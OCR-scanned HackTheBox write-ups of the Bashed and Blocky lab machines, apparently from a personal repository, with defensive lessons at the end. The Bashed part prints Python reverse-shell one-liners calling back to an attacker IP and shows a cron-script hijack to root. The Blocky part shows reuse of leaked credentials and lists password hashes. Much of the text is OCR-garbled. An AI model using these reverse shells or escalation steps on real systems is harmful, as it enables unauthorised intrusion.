[HackTheBox| Bashed

Date: 25/Jun/2020
Categories: htb, linux, oscp
Tags: enumerate_proto__http, exploit_ python_ reverseshell, privesc_ sudo, privesc_ cron_ rootjobs

Overview

This is a writeup for HackTheBox VM Bashed. Here are stats for this machine from machinescli:

machinescli --info bashed -t

# ID Name Rating Difficulty 0S5 0SCPlike Owned TTPs

1 hackthebox#118 Bashed = ( the
privesc_sudo
privesc_cron_rootjobs

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.hackthebox.eu/home/machines/profile/118
https://github.com/7h3rAm/writeups/search?q=htb&unscoped_q=htb
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=enumerate_proto_http&unscoped_q=enumerate_proto_http
https://github.com/7h3rAm/writeups/search?q=exploit_python_reverseshell&unscoped_q=exploit_python_reverseshell
https://github.com/7h3rAm/writeups/search?q=privesc_sudo&unscoped_q=privesc_sudo
https://github.com/7h3rAm/writeups/search?q=privesc_cron_rootjobs&unscoped_q=privesc_cron_rootjobs
https://www.hackthebox.eu/home/machines/profile/118
https://github.com/7h3rAm/machinescli
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Figure 2: writeupéoverview.killchain




TTPs

1. 80/tcp/http/2.4.18 ((Ubuntu)): enumerate_proto_ http, exploit_ python_ reverseshell, privesc_sudo,
privesc__cron_ rootjobs


https://github.com/7h3rAm/writeups#enumerate_proto_http
https://github.com/7h3rAm/writeups#exploit_python_reverseshell
https://github.com/7h3rAm/writeups#privesc_sudo
https://github.com/7h3rAm/writeups#privesc_cron_rootjobs
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Phase #1: Enumeration

1. Here’s the Nmap scan result:

# Nmap 7.80 scan initiated Fri May 29 19:04:11 2020 as: mmap —vv —--reason —Pn -sV -sC
--version-all -oN
/home/kali/toolbox/writeups/htb.bashed/results/10.10.10.68/scans/_quick_tcp_nmap.tzt -oX
/home/kali/toolboz/writeups/htdb.bashed/results/10.10.10.68/scans/zml/_quick_tcp_nmap.zml

<

<

<

<

10.10.10.68

Nmap scan report for 10.10.10.68

Host is up, received user-set (0.32s latency).
Scanned at 2020-05-29 19:04:24 IST for 46s
Not shown: 999 closed ports

Reason: 999 conn-refused

STATE SERVICE REASON VERSION

PO

RT

80/tcp open http
| _http-favicon: Unknown favicon MD5: 6AA5034A553DFA77C3B2C7B4C26CF870

| http-methods:

syn-ack Apache httpd 2.4.18 ((Ubuntu))

Supported Methods: POST OPTIONS GET HEAD
| _http-server-header: Apache/2.4.18 (Ubuntu)
| _http-title: Arrexel's Development Site

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May 29 19:05:10 2020 -- 1 IP address (1 host up) scanned in 59.85 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

openports

# Port Protocol Service Scans

./results/10.10.10.68/scans/tcp_80@_http_gobuster_dirbuster.txt
./results/10.10.10.68/scans/tcp_80_http_nikto.txt

1. 80/tcp  http Apache httpd 2.4.18 ((Ubuntu)) ./results/10.10.10.68/scans/tcp_80_http_nmap.txt
./results/10.10.10.68/scans/tcp_80_http_robots.txt
./results/10.10.10.68/scans/tcp_8@_http_whatweb.txt

Figure 3: writeup.enumeration.steps.2.1

3. We see that the port 80/tcp is the only open port on this machine. Let’s run gobuster and find interesting
directories on this web server:

gobuster dir -u http://10.10.10.68:80/ -w

< /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -k -1 -s

- "200,204,301,302,307,403,500" -x "txt,html,php,asp,aspx,jsp" -z -0 |
"/home/kali/toolbox/writeups/htb.bashed/results/10.10.10.68/scans/tcp_80_http_gobuster_dirbuster.txt"

4. We find a few directories from gobuster scan and the /dev directory lists two interesting files: phpbash.min.php
and phpbash. php

$ cat results/10.10.10.68/scans/tcp_80_http_gobuster_dirbuster.txt
http://10.10.10.68:80/images (Status: 301) [Size: 311]
http://10.10.10.68:80/index.html (Status: 200) [Size: 7742]
http://10.10.10.68:80/about.html (Status: 200) [Size: 8190]
http://10.10.10.68:80/contact.html (Status: 200) [Size: 7802]
http://10.10.10.68:80/uploads (Status: 301) [Size: 312]
http://10.10.10.68:80/php (Status: 301) [Size: 308]


https://github.com/Tib3rius/AutoRecon
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5. We find that phpbash is a minimal web shell that can give us interactive access to the target machine.

10.
10.
10.
10.
10.
10.

@ 10.10.10.68

68:
68:
68:
68:
68:
68:

80/css (Status: 301) [Size: 308]

80/dev (Status: 301) [Size: 308]

80/js (Status: 301) [Size: 307]
80/config.php (Status: 200) [Size: 0]
80/fonts (Status: 301) [Size: 310]
80/single.html (Status: 200) [Size: 7476]

« = @ @ 10.10.10.68/dev/

Index of /dev

Name Last modified Size Description
 Parent Directory -

[?] phpbash.min.php 2017-12-04 12:21 4.6K
[? phpbash.php ~ 2017-11-30 23:56 8.1K

Apache/2.4.18 (Ubuntu) Server at 10.10.10.68 Port 80

Figure 4: writeup.enumeration.steps.4.1
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Figure 5: writeup.enumeration.steps.4.2



https://github.com/Arrexel/phpbash
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Figure 6: writeup.enumeration.steps.5.1

| 2.4.18 ((Ubuntu))
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Phase #2: Exploitation

1. We visit the /dev/phpbash.min.php page and find the phpbash interactive web shell UI which enables command
execution and further enumeration:

< @ @ 10.10.10.68/dev/p

/var/waw/html/dev# whoami
wwyi-data
S/ html/dev# id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
html/dev# uname -a
Linux bashed 4.4. generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86 64 x86 64 x86 64 GNU/Linux

Figure 7: writeup.exploitation.steps.1.1

2. We use a Python reverse shell to obtain interactive access on this system:

1 nc -nlvp 443

2 python -c 'import
o socket,subprocess,os;s=socket.socket (socket.AF_INET,socket.SOCK_STREAM) ;s.connect(("10.10.14.4",443));
o os.dup2(s.fileno(),1); os.dup2(s.fileno(),2) ;p=subprocess.call(["/bin/sh","-i"]);"

kaligkali: ~/toolbox/writeups/htb.bashed $ sudo nc -nlvp 443
[sudo] password for kali:
listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.68] 56218
/bin/sh: @: can't access tty; job control turned off
$ id
uid=33(waw-data) gid=33{(www-data) groups=33(www-data)
$ uname -a
Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
$ ifconfig
ens33 Link encap:Ethernet HWaddr 00:50:56:b9:44:62
inet addr:10.10.10.68 Bcast:10.10.10.255 Mask:255.255.255.255
inet6 addr: dead:beef::250:56ff:feb9:4462/64 Scope:Global
inet6 addr: fe80::250:56ff:feb9:4462/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:83313 errors:0 dropped:332 overruns:0 frame:@
TX packets:78575 errors:0 dropped:0 overruns:@ carrier:0
collisions:@ txqueuelen:1000
RX bytes:5290997 (5.2 MB) TX bytes:8385550 (8.3 MB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:442129 errors:0 dropped:@ overruns:® frame:@
TX packets:442129 errors:0 dropped:® overruns:@ carrier:0
collisions:® txqueuelen:1
RX bytes:32718756 (32.7 MB) TX bytes:32718756 (32.7 MB)

Figure 8: writeup.exploitation.steps.2.1

Phase #2.5: Post Exploitation

1 www-data@bashed> id

2 uid=33(www-data) gid=33(www-data) groups=33(www-data)
3 www-data@bashed>

1+ www-data@bashed> uname
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Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 z86_64 x86_64 x86_64

o GNU/Linuz
www-data@bashed>
www-dataCbashed> ifconfig

ens33

lo

Link encap:Ethernet HWaddr 00:50:56:b9:44:62

inet addr:10.10.10.68 Bcast:10.10.10.255 Mask:255.255.255.255
inet6 addr: dead:beef::250:56ff:feb9:4462/64 Scope:Global

inet6 addr: fe80::250:56ff:feb9:4462/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:83524 errors:0 dropped:332 overruns:0 frame:0

TX packets:78785 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:5305396 (5.3 MB) TX bytes:8408691 (8.4 MB)

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:444689 errors:0 dropped:0 overruns:0 frame:0
TX packets:444689 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1

RX bytes:32908196 (32.9 MB) TX bytes:32908196 (32.9 MB)

www-data@bashed>
www—data®bashed> users

root
arrexel

scriptmanager



Phase #3: Privilege Escalation
1. We find that the user www-data can run any command as user scriptmanager using sudo:

sudo -1
sudo -u scriptmanager /bin/bash

www-datagbashed: /home/arrexel$ sudo -1

Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
www-dataf@bashed: /home/arrexel$

Figure 9: writeup.privesc.steps.1.1

woww-datadbashed: /tmp$

www-data@bashed: /tmp$ sudo -1

Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbhin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL

www-data@bashed: /tmp$

www-data@bashed: /tmp$

wnw-datafbashed: /tmp$ sudo -u scriptmanager /bin/bash

scriptmanager@bashed: /tmp$

scriptmanagerdbashed:/tmp$ id

uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)

scriptmanager@bashed:/tmp$

scriptmanager@bashed:/tmp$ whoami

scriptmanager

scriptmanager@bashed:/tmp$

Figure 10: writeup.privesc.steps.1.2

2. We find an interesting directory /scripts which has two files in it. One is a Python script test.py owned by
user scriptmanager and other is test.txt owned by root. We use a script CronJobCheckser.sh and find that
there’s a root owned cronjob that runs the test.py script and which creates the test.txt file.

1s -la /scripts
cat /scripts/test.py



www-datadbashed: /home/arrexel$ which wget

Jusr/bin/wget

www-datadbashed: /home/arrexel$ wget http://10.10.14.4:8000/CronJobChecker.sh
--2020-06-24 10:36:37-- http://10.10.14.4:8000/CronJobChecker.sh

Connecting to 10.10.14.4:8000... connected.

HTTP request sent, awaiting response... 200 0K

Length: 851 [text/x-sh]

CronJobChecker.sh: Permission denied

Cannot write to 'CronlobChecker.sh' (Success).

www-datadbashed: /home/arrexel$ cd /tmp

www-dataibashed: /tmp$

www-data@bashed: /tmp$

www-datagbashed: /tmp$ wget http://10.10.14.4:8000/CronJobChecker.sh
--2020-06-24 10:36:44-- http://10.10.14.4:8000/CronJobChecker.sh
Connecting to 10.10.14.4:8000... connected.

HTTP request sent, awaiting response... 200 OK

Length: 851 [text/x-sh]

Saving to: 'CronJobChecker.sh'

CronJobChecker.sh 100%[====s==============5] 851 --.-KB/s in Os
2020-06-24 10:36:45 (1.70 MB/s) - 'CronJobChecker.sh' saved [851/851]

www-datadbashed:/tmp$

Figure 11: writeup.privesc.steps.2.1

www-datadbashed: /tmp$
www-datadbashed: /tmp$ chmod +x CronJobChecker.sh
www-datadbashed:/tmp$
www-datadbashed:/tmp$
www-data@bashed:/tmp$ ./CronJobChecker.sh

fusr/sbin/CRON -f

/bin/sh -c cd /scripts; for f in *.py; do python "$f"; done
python test.py

/usr/sbin/CRON -f

/bin/sh -c cd /scripts; for f in #.py; do python "$f"; done
python test.py
C
www-dataibashed:/tmp$

PA M ANV VW

Figure 12: writeup.privesc.steps.2.2

scriptmanagerabashed:/tmp$
scriptmanager@bashed:/tmp$ 1s -1 /scripts

total 8
-rwxr-xr-x 1 scriptmanager scriptmanager 218 Jun 23 18:28 test.py
-rw-r--r-- 1 root root 12 Jun 23 18:33 test.txt

scriptmanagergbashed:/tmp$

Figure 13: writeup.privesc.steps.2.3

3. We can now edit this file to execute a reverse shell that gives us elevated privileges on the system:

1 nc -nlvp 9999

2 echo 'import
< socket,subprocess,os;s=socket.socket (socket.AF_INET,socket.SOCK_STREAM) ;s.connect(("10.10.14.4",9999))
o os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);"
% >>/scripts/test.py
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scriptmanagerabashed:/tmp$
<);p=subprocess.call(["/bin/sh","=1"1);" >>/scripts/rs.py
scriptmanagerabashed:/tmp$

scriptmanagergbashed:/tmp$

scriptmanagerabashed:/tmp$

scriptmanagerdbashed:/tmp$ cat /scripts/rs.py

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",9999));0s.dup2(s. fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bi
n/sh","-i"1);

scriptmanagerabashed:/tmp$

scriptmanagergbashed:/tmp$ s -1 /scripts

total 12

-rw-r--r-- 1 scriptmanager scriptmanager 215 Jun 24 10:47 rs.py
-rwxr-xr-x 1 scriptmanager scriptmanager 218 Jun 23 18:28 test.py
-rw-r--r-- 1 root root 12 Jun 23 18:33 test.txt
scriptmanagergbashed:/tmp$

scriptmanagerabashed:/tmp$ chmod +x /scripts/rs.py
scriptmanagerabashed:/tmp$ 1s -1 /scripts

total 12

-rwxr-xr-x 1 scriptmanager scriptmanager 215 Jun 24 10:47 rs.py
-rwxr-xr-x 1 scriptmanager scriptmanager 218 Jun 23 18:28 test.py
-rw-r--r-- 1 root root 12 Jun 23 18:33 test.txt
scriptmanagerabashed:/tmp$

Figure 14: writeup.privesc.steps.3.1

4. As soon as the cronjob runs, we get the elevated shell and can now view the root.txt flag file:

cat /root/root.txt

kaliagkali: ~/toolbox/writeups/htb.bashed $ nc -nlvp 9999
listening on [any] 9999 ...

connect to [10.10.14.4] from (UNKNOWN) [10.10.10.68] 57310
/bin/sh: 0: can't access tty; job control turned off

# id

uid=0(root) gid=0(root) groups=0(root)

#

# whoami

root

#

# uname -a

Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
i

Figure 15: writeup.privesc.steps.4.1

addr
0: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default glen 1
1link/loopback 90:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_lft forever
inet6 ::1/128 scope host
valid_1ft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default glen 1000
link/ether 00:50:56:b9:44:62 brd ff:ff:ff:ff:ff:ff
inet [EPEUIETINE/32 brd 10.10.10.255 scope global ens33
valid_1ft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:4462/64 scope global mngtmpaddr dynamic
valid_1ft 86016sec preferred_lft 14016sec
inet6 feB80::250:56ff:feb9:4462/64 scope link
valid_1ft forever preferred_lft forever

#
#i
1

#

#

# cat /root/root.txt
cc4fBafe3al26d402bald329674a8e2
#

Figure 16: writeup.privesc.steps.4.2
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Learning/Recommendation

e Production web server instances should not host developement tools like a PHP web shell. It allowed the
attacker to gain interactive access of the target system.

e Service users should not be allowed to use sudo. This misconfiguration enabled attacker to switch to a more
privileged user account.

¢ Cronjob files should be owned by the same user that will be allowed to run it. The attacker was able to use
this misconfiguration to modify a file they own and get it executed by root user.

Loot
Hashes

scriptmanager: $6$WahhM57B$rOHkWDRQpds96uWXkRCzA6b5L3w0orpe4uwn5U32yKRsMWDwKAm . RF6T8 1K1/ |
o MOyo.dJOB8Xm5/WOrLK..........covvuiuennn...

Flags

/home/arrexel/user.txt: 2c281f318555dbc1b8569...........
/root/root.txt: ccd4fOafe3al1026d402ball..........

References

[++] https://www.hackthebox.eu/home/machines/profile/118
[+] https://medium.com/@ranakhalil101/hack-the-box-bashed-writup-a8e51a2914c2
[+] https://0xdf.gitlab.io/2018,/04/29/htb-bashed.html
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[HackTheBox| Blocky

Date: 13/Nov/2019

Categories: oscp, htb, linux
Tags: enumerate_app_ wordpress, exploit_ wordpress_ plugin, exploit_ credsreuse, privesc_ sudoers

Overview

This is a writeup for HackTheBox VM Blocky. Here are stats for this machine from machinescli:

machinescli -t --info blocky

K hackthebox#48 Blocky p=m — @

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.hackthebox.eu/home/machines/profile/48
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=htb&unscoped_q=htb
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=enumerate_app_wordpress&unscoped_q=enumerate_app_wordpress
https://github.com/7h3rAm/writeups/search?q=exploit_wordpress_plugin&unscoped_q=exploit_wordpress_plugin
https://github.com/7h3rAm/writeups/search?q=exploit_credsreuse&unscoped_q=exploit_credsreuse
https://github.com/7h3rAm/writeups/search?q=privesc_sudoers&unscoped_q=privesc_sudoers
https://www.hackthebox.eu/home/machines/profile/48
https://github.com/7h3rAm/machinescli

[HTB] Blocky

110.10.10.37 |

Y
‘Phase #1: Enumeration

Y Y

; Y . k4 L. .
‘25565/tc 21/tcp| | 22/tcp | 80/tcp
- Y .
wordpress installation
- k4 .
user notch
- k4 .
/plugins/ directory - BlockyCore.class file
Y
sql credentials for user root‘

Phase #2: Exploitation

fip creds reuse for user notch ssh creds reuse for user notch
access to user nothc's home directory ssh (notch)
¥ Y

user.txt | | Phase #3: Privilege Escalation |

—— | l

id - user notch is member of sudo group sudo -1 - user notch can run any command with sudo

Y Y
sudo su -‘

- A 4 .
ssh (root)

Y

‘root.txt‘
Figure 2: writeup.overview.killchain
TTPs

1. 80/tcp/http/Apache httpd 2.4.18 ((Ubuntu)): enumerate_app_ wordpress, exploit_ wordpress_ plugin, ex-
ploit_ credsreuse, privesc_ sudoers


https://github.com/7h3rAm/writeups#enumerate_app_wordpress
https://github.com/7h3rAm/writeups#exploit_wordpress_plugin
https://github.com/7h3rAm/writeups#exploit_credsreuse
https://github.com/7h3rAm/writeups#exploit_credsreuse
https://github.com/7h3rAm/writeups#privesc_sudoers
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Wed Nov 13 12:25:27 2019 as: mmap —-vv —--reason —Pn -sV -sC

» ——version-all —olN

s /root/toolboz/writeups/htb.blocky/results/10.10.10.37/scans/_quick_tcp_nmap.tzt -oX
o /root/toolboz/writeups/htb.blocky/results/10.10.10.37/scans/zml/_quick_tcp_nmap.zml
% 10.10.10.37

Nmap scan report for 10.10.10.37

Host is up, received user-set (0.073s latency).

Scanned at 2019-11-13 12:25:28 PST for 18s

Not shown: 996 filtered ports

Reason: 996 no-responses

PORT STATE SERVICE REASON VERSION

21/tcp open  ftp syn-ack ttl 63 ProFTPD 1.3.5a

22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol
s 2.0)

| ssh-hostkey:

| 2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)

| ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQDXqVh0310UgTdcXsDwffHKL6T9f1GEJ1/x/b/

« dywX42sDZ5m1Hz46bKmbnWaOYD3LSRkSt IDtyNXptzmEp31Fs2DUndVKui3LCcyKXYEFSVWp9ZDBz1W3aY8qa+
< y339083gp3aq277zYDnnA62U7rI1tYp91ubVPBKi3DITVaSgzA8mcpHRr30e3cEGaLlCxty58U2/ |

< 1lyCnx3IOLh5rEbipQ1G7Cr6NMgmGtW6Lr1 JRQiWA10K2/tDZbLhwtkjB82pjI/0T2gpA/

< v1ZJHOelbMXW40Et6b0s20K/V2bVozpoRyoQuts8zcRmCViVs8B3p7T1Qh/Z+7Ki91vgicfy4fl

| 256 5d:7£:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)

| ecdsa-sha2-nistp256

< AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAATbm1zdHAyNTYAAABBBNgEpgEZGGbtmSsu0Aio9ut2h0QYLN39Uhni8i4E
< /Wdir1gHxDCLMoNPQXDOnEUO1QQVbioUUMgFRAXYLhi1NF8=

| 256 09:d5:¢2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)

| _ssh-ed25519 AAAAC3NzaC11ZDIINTESAAAAILqVrP5vDD4MdQ2v30zqDPxG1XXZ0p5VPpVsFUROLEV
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))

| _http-generator: WordPress 4.8

| http-methods:

| _ Supported Methods: GET HEAD POST OPTIONS

| _http-server-header: Apache/2.4.18 (Ubuntu)

| _http-title: BlockyCraft &#8211; Under Construction!

8192/tcp closed sophos reset ttl 63

Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Nov 13 12:25:46 2019 -- 1 IP address (1 host up) scanned in 18.38 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

openports

# Port Protocol Service Scans

1. 21/tcp ftp ttl 63 ProFTPD 1.3.5a ./results/10.10.10.37/scans/tcp_21_ftp_nmap.txt

b4, 25565/tcp minecraft ttl 63 Minecraft 1.11.2 (Protocol: 127 Message: A Minecraft Server Users: 0/20)

Figure 3: writeup.enumeration.steps.2.1


https://github.com/Tib3rius/AutoRecon

3. We find a Wordpress installation and manually find a username notch. Attempts to login via common default
credentials failed:

X | Notch - BlockyCraft X |+

(® 10.10.10.37/index.php/author/notch/

AUTHOR: NOTCH
JULY 2, 2017

Welcome to BlockyCraft!

Welcome everyone. The site and server are still under construction so
don't expect too much right now!

We are currently developing a wiki system for the serverand a core

plugin to track player stats and stuff. Lots of great stuff planned for the
future =

Figure 4: writeup.enumeration.steps.3.1

4. We find a plugins directory that lists two jar files. We download those and find hardcoded SQL credentials for
user root in the BlockyCore.class file:

X | Notch - BlockyCraft X | Cute file browser x |+

@ 10.10.10.37/plugins/

BlockyCore.jar griefprevention-1.1...
es 520 KB

Figure 5: writeup.enumeration.steps.4.1



// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// lad home page: http://www.geocities.com/kpdus/jad.html

J/ Decompiler options: packimports(3)

// Source File Name: BlockyCore. java

package com.myfirstplugin;

public class BlockyCore
{

public BlockyCore()

{
sglHost "localhost”;
sglUser = "root";
sglPass = "BYsgfCTnvxAUeduz jNSXe22";

}

public void onServerStart()
{
1

public veid onServerStop()
{
1

public void onPlayerloin()

{
1

public void sendMessage(String s, 5tring s1)

{
}

public String sglHost;
public String sglUser;
public 5tring sglPass;

Figure 6: writeup.enumeration.steps.4.2

Findings
Open Ports

21/tcp
22/tcp
80/tcp
25565/tcp

ftp ProFTPD 1.3.5a

ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
http Apache httpd 2.4.18 ((Ubuntu))

minecraft Minecraft 1.11.2 (Protocol: 127 Message: A Minecraft Server

|
|
|
|
» Users: 0/20)




Files
http://10.10.10.37/plugins/

Users

wordpress: notch



Phase #2: Exploitation

1. We successfully login via FTP as user notch with password found in the BlockCore.class file. We find that
the FTP root directory is set to the user notch’s home directory:

root@kali: ~/toolbox/data/writeups/htb.blocky # ftp 10.18.108.37
Connected to 10.10.10.37.

220 ProFTPD 1.3.5a Server (Debian) [::ffff:10.10.10.37]

Mame (10.18.10.37:root): notch

331 Password required for neotch

Password:

230 User notch logged in

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> pwd

257 "/" is the current directory

ftp> dir

200 PORT command successful

150 Opening ASCII mode data connection for file list

drwxrwxr-x 7 notch notch 4096 Jul 3 2017 minecraft
e 1 notch notch 32 Jul 3 2817 user.txt
226 Transfer complete

Figure 7: writeup.exploitation.steps.1.1

2. We also successfully gain interactive SSH access using the same credentials as above which gives us access to the
first flag file, user.txt:

root@kali: ~/toolbox/data/writeups/htb.blocky # ssh notch@l®.10.10.37
notch@l6.10.10.37's password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Suppert: https://ubuntu.com/advantage

7 packages can be updated.

7 updates are security updates.

Last login: Tue Jul 25 11:14:53 2017 from 10.10.14.230
notch@Blocky:~$

ocky:~$ id
(notch) gid=1060(notch) groups=1000(notch),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(1lpadmin),116({sambashare)

not Blocky:~$% uname -a
Linux Blocky 4.4.8-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 xB86_64 x86 64 x86 64 GNU/Linux
notch@ cky:~$
ocky:~% ifconfig
Link encap:Ethernet HwWaddr 00:560:56:b9:54:bc
inet addr:10.10.10.37 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: feB@::250:56Tf:Teb9:54bc/64 Scope:Link
inet6 addr: dead:beef::250:56ff:feb9:54bc/64 Scope:Global
UP BROADCAST RUNNING MULTICAST MTU:1508 Metric:1
RX packets:489568 errors:0 dropped:0 overruns:@ frame:o
TX packets:207286 errors:® dropped:0 overruns:@ carrier:@
collisions:® txqueuelen:1000
RX bytes:42828402 (42.8 MB) TX bytes:61181947 (61.1 MB)

Figure 8: writeup.exploitation.steps.2.1
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cat user.txt

59Teed977Tb60b8abbcbedle7511T3cd5

$

Figure 9: writeup.exploitation.steps.2.2

Phase #2.5: Post Exploitation

notch@Blocky> id

uid=1000(notch) gid=1000(notch) groups=1000(notch),4(adm),24(cdrom),27(sudo),30(dip),46,

< (plugdev),110(1xd),115(1lpadmin) , 116 (sambashare)

notch@Blocky>
notch@Blocky> uname

Linux Blocky 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 z86_64 x86_64 x86_64

o GNU/Linuz
notch@Blocky>
notch@Blocky> ifconfig

ens160 Link encap:Ethernet HWaddr 00:50:56:b9:54:bc

inet addr:10.10.10.37 Bcast:

10.10.10.255 Mask:255.255.255.0

inet6 addr: fe80::250:56ff:feb9:54bc/64 Scope:Link
inet6 addr: dead:beef::250:56ff:feb9:54bc/64 Scope:Global
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:490347 errors:0 dropped:0 overruns:0 frame:0
TX packets:207569 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000
RX bytes:42901509 (42.9 MB)
notch@Blocky>
notch@Blocky> users
root
notch

TX bytes:61223429 (61.2 MB)



Phase #3: Privilege Escalation

1. From the output of the id command and also confirming via sudo -1, we know that the user notch is a member
of the sudo group. This means we can switch to root and gain elevated privileges:

notch@Blocky:~$% sudo -1
[sudo] password for notch:
Matching Defaults entries for notch on Blocky:

env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User notch may run the following commands on Blocky:
{ALL : ALL) ALL
ytch@Blocky:~$
notch@locky:~$ id
uid=1000(notch) gid=1000(notch) groups=1000(notch),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(1lxd),115(1padmin},116(sambashare)

Figure 10: writeup.privesc.steps.1.1

:~% sudo su -
root@locky:~# pwd
Jroot
root@Blocky:~#
root@Blocky:~# id
uid=@(root) gid=@(root) groups=0(root)
root@Blocky:~#
root@locky:~# uname -a
Linux Blocky 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86 64 x86_64 GNU/Linux
root@Blocky:~#
root@Blocky:~# ifconfig
ens160 Link encap:Ethernet HWaddr 00:50:56:b9:54:bc
inet addr:10.10.10.37 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: fe86::250:56Tf:feb9:54bc/64 Scope:Link
inet6 addr: dead:beef::250:56ff:feb9:54bc/64 Scope:Global
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:489754 errors:0 dropped:@ overruns:@ frame:0
TX packets:207400 errors:0 dropped:0 overruns:0 carrier:@
collisions:® txqueuelen:1080
RX bytes:42843570 (42.8 MB) TX bytes:61198307 (61.1 MB)

Figure 11: writeup.privesc.steps.1.2

2. We then read the contents of root.txt file to complete the challenge:

root@Blocky:~# cat root.txt
0a9694a5b4d272c69467917860Tlcd5Troot@Blocky : ~#
root@Blocky :~#

Figure 12: writeup.privesc.steps.2.1



Loot
Hashes

notch:$6$RdXVAN/.$DFugS5p/G9hTNY9htDWVGKte9n9r/J
o nYYL.wVdAHf iHpnyN9dNftf5Nt .DkjrUsOP1YNcYZWhhOVh1/5tl. ... ...oovii ...

Credentials

ftp: notch/8YsqfCTnvxAUeduzj......
ssh: notch/8YsqfCTnvxAUeduzj......

Flags
/home/notch/user.txt: 59fee0977fb60b8albcbe...........
/root/root.txt: 0a9694a5b4d272c694679f..........

References

[+] https://www.hackthebox.eu/home/machines/profile/48
[+] https://www.youtube.com/watch?v=C20-rilX A6I
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https://www.hackthebox.eu/home/machines/profile/48
https://www.youtube.com/watch?v=C2O-rilXA6I

[HackTheBox] Blue

Date: 01/Nov/2019
